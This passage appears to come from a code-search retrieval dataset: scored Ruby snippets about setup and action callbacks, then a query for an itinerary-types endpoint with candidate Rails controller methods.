"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
5e9c04165a7ad2284e32440d6d8e69db | GET /itinerary_types GET /itinerary_types.json | [
{
"docid": "550947aa30f31e95380844a826f3cbcd",
"score": "0.7525469",
"text": "def index\n @itinerary_types = ItineraryType.all\n end",
"title": ""
}
] | [
{
"docid": "1b77431c6d1997cf5f09ac97fbe60589",
"score": "0.6857394",
"text": "def types\n @types = Tournament.tournament_types.keys.to_a\n respond_to do |format|\n format.json { render json: @types }\n end\n end",
"title": ""
},
{
"docid": "a0dce3ac5ebd1ca4bfb09f1f3f332f6d",
"score": "0.663665",
"text": "def types!\n mashup(self.class.get(\"/\", :query => method_params('aj.types.getList'))).types['type']\n end",
"title": ""
},
{
"docid": "d83c08f38d3e155a8797fdcb78c561cb",
"score": "0.65961814",
"text": "def types\n if !@api_key.nil? and @api_key.api_type == \"muni\"\n params[:c] = \"forager\"\n end\n\n if params[:c].blank?\n cat_mask = array_to_mask([\"forager\",\"freegan\"],Type::Categories)\n else\n cat_mask = array_to_mask(params[:c].split(/,/),Type::Categories)\n end\n\n cfilter = \"(category_mask & #{cat_mask})>0 AND NOT pending\"\n\n @types = Type\n .where(cfilter)\n .collect { |t| { :name => t.full_name, :id => t.id } }\n .sort{ |x, y| x[:name] <=> y[:name] }\n\n log_api_request(\"api/locations/types\", @types.length)\n\n respond_to do |format|\n format.json { render json: @types }\n end\n end",
"title": ""
},
{
"docid": "341982657361bebf9d59165f89b68eb1",
"score": "0.65606654",
"text": "def getResourcesType\n type = [Announcement, Discussion, DiscussionSolution, Exam, ExamSolution, Homework, HomeworkSolution, LectureNotes, OnlineResource, Other]\n dic = {:type => type}\n respond_to do |format|\n format.json {render json: dic}\n end\n end",
"title": ""
},
{
"docid": "4440b05019be9a805e8f820e40f4fbc2",
"score": "0.6412888",
"text": "def types\n data = {\n 'sale_agent_role' => SaleAgent::ROLE_TYPES,\n 'transaction_type' => Entry::TYPES_TRANSACTION,\n 'author_role' => EntryAuthor::TYPES_ROLES,\n 'artist_role' => EntryArtist::TYPES_ROLES,\n 'currency' => Sale::CURRENCY_TYPES,\n 'sold' => Sale::SOLD_TYPES,\n 'material' => EntryMaterial::MATERIAL_TYPES,\n 'alt_size' => Entry::ALT_SIZE_TYPES,\n 'acquisition_method' => Provenance::ACQUISITION_METHOD_TYPES\n }\n render json: data\n end",
"title": ""
},
{
"docid": "d6556bbcfc0938e8868574f9359857b1",
"score": "0.64011115",
"text": "def get_itineraries(trip_type)\n return [] if errors(trip_type)\n itineraries = ensure_response(trip_type).itineraries\n return itineraries.map {|i| convert_itinerary(i, trip_type)}\n end",
"title": ""
},
{
"docid": "fb313980a654e84e3b2f9da3339a91a2",
"score": "0.63287073",
"text": "def index\n @itineraries = Itinerary.all\n\n render json: @itineraries\n end",
"title": ""
},
{
"docid": "86ab328c07114ad26bbd5bfa59178881",
"score": "0.6299978",
"text": "def request_types\n {\n \"Article\": \"Articles\",\n \"Loan\": \"Books\"\n }\n end",
"title": ""
},
{
"docid": "c6006328690467090d008be0fdca44c5",
"score": "0.6272429",
"text": "def index\n @types = Type.all\n json_response(@types)\n end",
"title": ""
},
{
"docid": "e90350001b4a4ff6b1040dfa03e4570a",
"score": "0.6238587",
"text": "def index\n @reagent_types = ReagentType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reagent_types }\n end\n end",
"title": ""
},
{
"docid": "adefb13555986c9e3af14c09c3c47c71",
"score": "0.623537",
"text": "def index\n @institutions_types = InstitutionsType.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @institutions_types }\n end\n end",
"title": ""
},
{
"docid": "619336f64317914daa8d4004d5d99a3a",
"score": "0.6213751",
"text": "def index\n @referred_types = ReferredType.all\n @title = \"Type of Referrals\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @referred_types }\n end\n end",
"title": ""
},
{
"docid": "80116c34a45ce3a25726eb83aa5de2d8",
"score": "0.6194072",
"text": "def index\n @insured_types = InsuredType.all\n @title = \"Types of Insured Patients\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insured_types }\n end\n end",
"title": ""
},
{
"docid": "ff086a83d495d3ee6fe44a593fe0755f",
"score": "0.6144441",
"text": "def intervention_types\n out = []\n out << {id: \"all\", description: \"All Listings\"}\n out << {id: \"none\", description: \"No Interventions\"}\n out << {id: \"any\", description: \"Any Intervention\"}\n out << {id: \"inscription\", description: \"Any Inscription\"}\n out << {id: \"annotation\", description: \"Any Annotation\"}\n out << {id: \"marginalia\", description: \"Any Marginalia\"}\n out << {id: \"insertion\", description: \"Any Insertion\"}\n out << {id: \"artwork\", description: \"Any Artwork\"}\n out << {id: \"library\", description: \"Any Library Intervention\"}\n InterventionType.all.each do |t|\n name = \"#{t.category.capitalize}: #{t.name.capitalize}\"\n out << { id: t.id, description: name }\n end\n render json: out\n end",
"title": ""
},
{
"docid": "b10c76874e1b595dd50c7a973202cb8f",
"score": "0.61406904",
"text": "def index\n @types = Type.order(:name).all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types }\n end\n end",
"title": ""
},
{
"docid": "8cef9f8a6dbf6c4be3cbeb8c07404fba",
"score": "0.61291414",
"text": "def getUserTypes\n\n types = []\n\n @current_user.user_types.each do |type|\n if type.type.is_verified\n types.push(type.type)\n end\n end\n\n render json: { type: types }\n end",
"title": ""
},
{
"docid": "b25627406f432237b99c39b626f7dc02",
"score": "0.61231637",
"text": "def types\n get(\"/project/types\")[\"types\"]\n end",
"title": ""
},
{
"docid": "e862528602c898d5130008f2466db89c",
"score": "0.61141866",
"text": "def index\n @insurance_types = InsuranceType.all\n @title = \"Types of Patient Insurance\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insurance_types }\n end\n end",
"title": ""
},
{
"docid": "e716c04d93098c8dbbed6274bb9caecc",
"score": "0.60596126",
"text": "def set_itinerary_type\n @itinerary_type = ItineraryType.find(params[:id])\n end",
"title": ""
},
{
"docid": "a50d13302f7221b5677a82fc00ef9872",
"score": "0.60577965",
"text": "def index\n @eval_types = @current_organization.eval_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eval_types }\n end\n end",
"title": ""
},
{
"docid": "5d264faacfd3f99f7de4906e227e2f76",
"score": "0.6040009",
"text": "def index\n @institution_types = InstitutionType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @institution_types }\n end\n end",
"title": ""
},
{
"docid": "5ed5a097e04893ed95eab9c47c8e4683",
"score": "0.60378075",
"text": "def index\n @item_types = ItemType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @item_types }\n end\n end",
"title": ""
},
{
"docid": "65de4954ff0aaf9c6ff073de954c89bc",
"score": "0.6032432",
"text": "def requested_types; end",
"title": ""
},
{
"docid": "a5e21ca71e10525baac77a0f2dcdf355",
"score": "0.60298145",
"text": "def index\n @type_requests = TypeRequest.all\n end",
"title": ""
},
{
"docid": "4d9cc94ba5c68623aee01a564e762db4",
"score": "0.60192513",
"text": "def index\n @evaluation_types = EvaluationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluation_types }\n end\n end",
"title": ""
},
{
"docid": "6d47d67e87af7b1927a2f7df84f53e85",
"score": "0.60105175",
"text": "def index\n @resource_types = ResourceType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"title": ""
},
{
"docid": "e47880424866ed1d0ca6d619ce9b0474",
"score": "0.6009132",
"text": "def index\n @user_types = UserType.all\n render json: @user_types\n end",
"title": ""
},
{
"docid": "7155f1bc054175d42c73af636b86dff7",
"score": "0.60038835",
"text": "def index\n @usertypes = UserType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usertypes }\n end\n end",
"title": ""
},
{
"docid": "a9563223dcdd72fe33b954b987773523",
"score": "0.6002318",
"text": "def index\n @exercise_types = ExerciseType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_types }\n end\n end",
"title": ""
},
{
"docid": "0eb3c8ea5fddd7d3c4915d8c2c93459f",
"score": "0.59873456",
"text": "def index\n @interview_types = InterviewType.all\n end",
"title": ""
},
{
"docid": "16d1265ed26f5d150fca54cb6a105ed0",
"score": "0.59853464",
"text": "def index\n @interest_types = InterestType.all\n end",
"title": ""
},
{
"docid": "d442fa40ad65be308e3e86291de15315",
"score": "0.59852564",
"text": "def index\n @item_types = ItemType.all\n\n render json: @item_types\n end",
"title": ""
},
{
"docid": "d947451b6543b7525351a2623592851c",
"score": "0.5952167",
"text": "def list_types(params={})\n execute(method: :get, url: \"#{base_path}/types\", params: params)\n end",
"title": ""
},
{
"docid": "346cb066056b54f8a8b263c2d6f63d62",
"score": "0.59447306",
"text": "def api_type\n region = params[:region_id]\n render json: {\n types: Type.all,\n arrondissement: Arrondissement.where(region_id: region).map do |arrondissement|\n {\n arrondissement_id: arrondissement.id,\n arrondissement_name: arrondissement.name\n }\n end\n }\n end",
"title": ""
},
{
"docid": "45f255b6c123d9b308e0cc8de1cdf27d",
"score": "0.5934741",
"text": "def index\n @itineraries = Itinerary.all\n end",
"title": ""
},
{
"docid": "68f2653150a341338ad1ee9d4a95adc1",
"score": "0.5916842",
"text": "def index\n @skill_types = SkillType.all\n\n render json: @skill_types\n end",
"title": ""
},
{
"docid": "539fe712a06956f37a4e5c5c8237c9d5",
"score": "0.5895397",
"text": "def index\n @armor_types = ArmorType.all\n\n render json: @armor_types\n end",
"title": ""
},
{
"docid": "f4ab246357d1b9a6fbe43b2f26a8beae",
"score": "0.5894266",
"text": "def types\n contact_method = JSON.parse(connection.get(\"/Relationship/Types\").body )\n end",
"title": ""
},
{
"docid": "db691bf1180fcfd3257c8c769c9db38f",
"score": "0.589114",
"text": "def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end",
"title": ""
},
{
"docid": "f2d847a96f32ffc562a0f4cf7301038c",
"score": "0.588975",
"text": "def index\n @usertypes = Usertype.all\n\n render json: @usertypes\n end",
"title": ""
},
{
"docid": "fa5b36d7871e515c9868f34b38ce10b9",
"score": "0.588388",
"text": "def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"title": ""
},
{
"docid": "1a841046e63517e066b4cd8a4842c144",
"score": "0.58781654",
"text": "def index\n @itineraries = @auth.itineraries.order( :start )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @itineraries }\n end\n end",
"title": ""
},
{
"docid": "4292336d37ff954caecf56be03842ac7",
"score": "0.5849545",
"text": "def types\n\t\ttypes = []\n\t\t@api[\"types\"].each do |i|\n\t\t\ttypes.push(i[\"type\"][\"name\"].capitalize)\n\t\tend\n\t\treturn types\n\tend",
"title": ""
},
{
"docid": "bda4abf61fc190e2a3bd15807f35ec9d",
"score": "0.584166",
"text": "def fee_types\n @client.make_request :get, settings_path('fee-types')\n end",
"title": ""
},
{
"docid": "35b2d9278617c8a7e772f704ccd7f5ee",
"score": "0.5839359",
"text": "def index\n @attribute_types = AttributeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attribute_types }\n end\n end",
"title": ""
},
{
"docid": "f97da8b35db7206499341f2306f83afb",
"score": "0.5829152",
"text": "def land_types(format: \"json\", pretty: false)\n request_catalogue(\"/catalog/land-types\", format, pretty)\n end",
"title": ""
},
{
"docid": "b6436acbc990d7930795581f92bfa523",
"score": "0.5828352",
"text": "def get_complaint_types\n\t\tcomplaint_types = ComplaintType.where(\"university_id = ?\",params[:university_id])\n\t\trender :json => [\n\t\t\t:complaint_types => complaint_types.map { |c| c.as_json(:only => [:id,:name])},\n\t\t\t:university_id => params[:university_id]\n\t\t\t].to_json\n\tend",
"title": ""
},
{
"docid": "99fd88e3b52d5a95d7229a91dbf38f3a",
"score": "0.5826458",
"text": "def list_role_type_names\n role_type_names = RoleType.all.map(&:name)\n \n respond_to do |format|\n format.html {render :layout => false, :json => role_type_names}\n format.json {render :layout => false, :json => role_type_names}\n end\n end",
"title": ""
},
{
"docid": "2c82d3827a490bdac0261cab302aaf62",
"score": "0.582057",
"text": "def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n render json: @specification_types, each_serializer: Website::V1::SpecificationTypeSerializer\n end",
"title": ""
},
{
"docid": "65c9ce6abeb12d2b96ef7d23ee6893eb",
"score": "0.5819506",
"text": "def index\n @itineraries = current_user.itineraries\n render json: @itineraries\n end",
"title": ""
},
{
"docid": "c2b407ce70110adcc9b65894302c9e96",
"score": "0.5807279",
"text": "def goal_types\n @client.request_cmd(\n {\n 'goal_types_get_list' => 1,\n 'app_version' => @version\n }\n )\n end",
"title": ""
},
{
"docid": "498918dac689d433e85af91cda94ba3b",
"score": "0.5802595",
"text": "def index\n @work_types = WorkType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_types }\n end\n end",
"title": ""
},
{
"docid": "f0a5ba91aaa0f3bd5d49bd60475482d6",
"score": "0.5794796",
"text": "def types\n @types ||= @api_info.fetch(\"types\")\n end",
"title": ""
},
{
"docid": "622bea06253f7c7bf922231825b3c910",
"score": "0.579381",
"text": "def index\n @attendancetypes = Attendancetype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendancetypes }\n end\n end",
"title": ""
},
{
"docid": "e55f7b1a5debbe56e8790be1e3b9f7b4",
"score": "0.5788013",
"text": "def index\n @participation_types = ParticipationType.find_all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participation_types }\n end\n end",
"title": ""
},
{
"docid": "a1a15c637db1c0b9db44a037b129180e",
"score": "0.57790804",
"text": "def index\n @type_req_resps = TypeReqResp.all\n end",
"title": ""
},
{
"docid": "14e44cc72199f1987138f5cd5924bd40",
"score": "0.5757934",
"text": "def index\n @exp_types = ExpType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exp_types }\n end\n end",
"title": ""
},
{
"docid": "1bc54deaf5d0141a9bbccd0da6329649",
"score": "0.57561696",
"text": "def index\n @type_resources = TypeResource.all\n end",
"title": ""
},
{
"docid": "a3d65e2303470051d3f5fde1a22aa365",
"score": "0.5746498",
"text": "def index\n @benefit_types = BenefitType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @benefit_types }\n end\n end",
"title": ""
},
{
"docid": "14deefc252d48ae57cd0abd2da83a014",
"score": "0.573243",
"text": "def index\n @line_types = LineType.all\n\n render json: @line_types\n end",
"title": ""
},
{
"docid": "97f3352bba6da66087cfc755b4d754b2",
"score": "0.57164466",
"text": "def index\n @responsibility_types = ResponsibilityType.all\n end",
"title": ""
},
{
"docid": "bca5a46f9c9e0230506854bd32caaf1d",
"score": "0.5714609",
"text": "def index\n @interactions_types = InteractionsType.all\n end",
"title": ""
},
{
"docid": "fcd514397b93f86a38af28fdc269a7c0",
"score": "0.57140374",
"text": "def types(id = nil)\n endpoint = \"/types\"\n endpoint = \"#{endpoint}/#{id}\" unless id.nil?\n return get_request(address(endpoint), @token)\n end",
"title": ""
},
{
"docid": "d3103b9cfdec51c7b9ed75b18e8a4aa0",
"score": "0.5711242",
"text": "def types\n doc = @http.get(\"templates/types?\")\n return doc\n end",
"title": ""
},
{
"docid": "cfaae00eb264fcd4c8e475b9bae84619",
"score": "0.57093334",
"text": "def index\n @archetypes = Archetype.where(user_id: current_user.id)\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @archetypes }\n end\n end",
"title": ""
},
{
"docid": "d985fb43e270a735c5deeb7dffb23b1c",
"score": "0.5705699",
"text": "def index\n @types = {}\n type_names = Kilt.types\n type_names.each do |type|\n if Kilt.send(type).name != nil\n @types[type] = Kilt.send(type).name\n else\n @types[type] = type.pluralize.capitalize\n end\n end\n end",
"title": ""
},
{
"docid": "a2bf3ee5b1624c333892d437bd7377fc",
"score": "0.5701686",
"text": "def list_types\n puts \"1. Ectomorph (Slim)\"\n puts \"2. Mesomorph (Muscular)\"\n puts \"3. Endomorph (Solid/Heavy)\"\n puts \"4. In-Betweeners (Not-Sure)\"\n puts \"5. GOALS\"\n puts \"6. LINKS\"\n puts \"7. EXIT\"\n end",
"title": ""
},
{
"docid": "a3bb42e1149343b8b4feef9b567436ae",
"score": "0.5699383",
"text": "def show\n @itinerary = Itinerary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itinerary }\n end\n end",
"title": ""
},
{
"docid": "a3bb42e1149343b8b4feef9b567436ae",
"score": "0.5699383",
"text": "def show\n @itinerary = Itinerary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itinerary }\n end\n end",
"title": ""
},
{
"docid": "e58028a3237560d9815fdf35763247e6",
"score": "0.5699048",
"text": "def types\n get_objects_on(N::RDF.type.to_s)\n end",
"title": ""
},
{
"docid": "47cda385dfe86c7ad06da74fabd1924b",
"score": "0.56831694",
"text": "def rest_list_types()\n rest_type_interface.list({max:10000, creatable:true})[rest_type_list_key] # .reject {|it| it['code'] == 'nsx-t'}\n end",
"title": ""
},
{
"docid": "1592b637265aa519d30c511e04c7f2ed",
"score": "0.56813467",
"text": "def index\n @user_itineraries = UserItinerary.all\n end",
"title": ""
},
{
"docid": "9ae9a4b8ea4f9abb8281c80ba4762064",
"score": "0.5680411",
"text": "def types\n types = JSON.parse(connection.get(\"/Contact/Types\").body )\n end",
"title": ""
},
{
"docid": "56dd938b09d99b04e6be5f392d271834",
"score": "0.5675831",
"text": "def get_type_names\n if validate_type == 200\n grouped = Book.select(\"#{@params_type}\").group(@params_type)\n\n render json: grouped\n end\n end",
"title": ""
},
{
"docid": "f7741c901349f24a94072cd0746517c5",
"score": "0.56716055",
"text": "def itinerary_type_params\n params.require(:itinerary_type).permit(:id,:name, :description)\n end",
"title": ""
},
{
"docid": "f4df9df161932a2bb2730149d41cc0ea",
"score": "0.5661185",
"text": "def getType(id)\n\tresponse = RestClient.get(\"https://api.trello.com/1/types/\"+id+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "a91fc03c02fcf3c73aa23e8de02769f1",
"score": "0.56511086",
"text": "def index\n @intervention_types = InterventionType.all\n end",
"title": ""
},
{
"docid": "7b5365f472fcdad9e553ba81a9c2cd02",
"score": "0.5642674",
"text": "def index\n @membership_types = MembershipType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @membership_types }\n end\n end",
"title": ""
},
{
"docid": "0b1a41aadb9bb36c49680a50d3cb1729",
"score": "0.5639011",
"text": "def types\n data = {\n# 'source_type' => SourceType.all.map { |source_type|\n 'source_type' => SourceType.where.not(name: \"provenance_observation\").map { |source_type|\n hash = source_type.attributes\n hash['invalid_source_fields'] = Source.invalid_source_fields_for_source_type(source_type.name)\n hash['valid_roles_for_source_agents'] = SourceAgent.valid_roles_for_source_type(source_type.name)\n hash\n },\n 'medium' => Source::MEDIUM_TYPES,\n }\n\n respond_to do |format|\n format.json {\n render json: data\n }\n end\n end",
"title": ""
},
{
"docid": "e9e0af9b2e2f851c4986d3ee875adc4f",
"score": "0.56369126",
